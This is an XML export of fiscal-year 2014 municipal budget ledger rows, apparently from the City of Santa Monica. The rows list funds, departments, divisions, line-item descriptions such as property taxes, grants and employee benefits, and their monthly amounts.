<row _id="12847"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>405875.0</object><object_description>HOMEWORK CLUB</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-32550</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-32550.0</total></row>
<row _id="12848"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>401700.0</object><object_description>CIVIC AUDITORIUM RENTALS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-154800</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-154800.0</total></row>
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<row _id="12850"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>409340.0</object><object_description>LA COUNTY EPCR</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-87500.0</june><total>-87500.0</total></row>
<row _id="12851"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5922.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5922.0</total></row>
<row _id="12852"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>236630.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>236630.0</total></row>
<row _id="12853"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>48418.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>48418.0</total></row>
<row _id="12854"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>40141.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>6115.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>46256.0</total></row>
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<row _id="12856"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1136319.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>37240.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1173559.0</total></row>
<row _id="12857"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>66093.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-31835.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>34258.0</total></row>
<row _id="12858"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2640.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>108.33</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2748.33</total></row>
<row _id="12859"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5152.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>186.2</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5338.2</total></row>
<row _id="12860"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8505.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>294.2</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8799.2</total></row>
<row _id="12861"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>BLDG/STR MAINT-COLO ESP</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20500.0</total></row>
<row _id="12862"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1216.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1216.0</total></row>
<row _id="12863"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>42598.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>42598.0</total></row>
<row _id="12864"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577701.0</object><object_description>PROP A REIMBURSEMENT WISE</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>614000.0</july><august>0</august><september>0</september><october>-14000</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>600000.0</total></row>
<row _id="12865"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533720.0</object><object_description>RADIO EQUIP &amp; MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>30000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="12866"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>410060.0</object><object_description>COLORADO ESPLANADE CONTRIB</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-708000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-708000.0</total></row>
<row _id="12867"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400010.0</object><object_description>PROPERTY TAXES - SECURED</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-25230834.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-205095.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-25435929.0</total></row>
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<row _id="12869"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400110.0</object><object_description>FRANCHISE TAX - MISCELLANEOUS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-20638.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-20638.0</total></row>
<row _id="12870"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400140.0</object><object_description>UTILITIES USERS TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-32011000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-1245000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-33256000.0</total></row>
<row _id="12871"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>406798.0</object><object_description>12 UASI GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-247482</march><april>0</april><may>0</may><june>-398666.0</june><total>-646148.0</total></row>
<row _id="12872"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>406799.0</object><object_description>13 UASI GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-752076.0</june><total>-752076.0</total></row>
<row _id="12873"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404330.0</object><object_description>KEN EDWARDS CENTER PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-100000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>80000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-20000.0</total></row>
<row _id="12874"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>578311.0</object><object_description>FIRE REIMBURSEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>186000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>186000.0</total></row>
<row _id="12875"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>401830.0</object><object_description>VENDOR RENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-238606.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-238606.0</total></row>
<row _id="12876"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3687.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>61</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3748.0</total></row>
<row _id="12877"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1524.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>21</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1545.0</total></row>
<row _id="12878"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>408303.0</july><august>0</august><september>0</september><october>0</october><november>-189152</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>219151.0</total></row>
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<row _id="12932"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>407771.0</object><object_description>COST RECOVERY DEPOSITS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-450000.0</june><total>-450000.0</total></row>
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<row _id="12946"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-118834.0</june><total>-118834.0</total></row>
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<row _id="12949"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 - FSS FORFEITURES</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-5500</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5500.0</total></row>
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<row _id="12954"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409052.0</object><object_description>MIDDLE SPORTS-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-22332</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-22332.0</total></row>
<row _id="12955"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409073.0</object><object_description>ROSIE'S GIRLS-SUMMER II</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-17991</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-17991.0</total></row>
<row _id="12956"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>15245.0</june><total>15245.0</total></row>
<row _id="12957"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-3636.0</june><total>-3636.0</total></row>
<row _id="12958"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>91751.0</june><total>91751.0</total></row>
<row _id="12959"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-6225.0</june><total>-6225.0</total></row>
<row _id="12960"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>16841.0</june><total>16841.0</total></row>
<row _id="12961"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570321.0</object><object_description>TRANS FROM 04 FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-3700000.0</june><total>-3700000.0</total></row>
<row _id="12962"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8852.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8852.0</total></row>
<row _id="12963"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>17550.0</july><august>0</august><september>0</september><october>0</october><november>-8775</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8775.0</total></row>
<row _id="12964"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>32128.0</july><august>0</august><september>0</september><october>0</october><november>216738</november><december>0</december><january>-11000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>237866.0</total></row>
<row _id="12965"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>406804.0</object><object_description>13 STATE HOMELAND SEC GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-27186.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-200000.0</june><total>-227186.0</total></row>
<row _id="12966"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>566471.0</object><object_description>SPECIAL EVENT TRAFFIC CONTROL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="12967"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>408580.0</object><object_description>ALARM REGISTRATION FEE</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-151200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-151200.0</total></row>
<row _id="12968"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>24000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24000.0</total></row>
<row _id="12969"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4100.0</total></row>
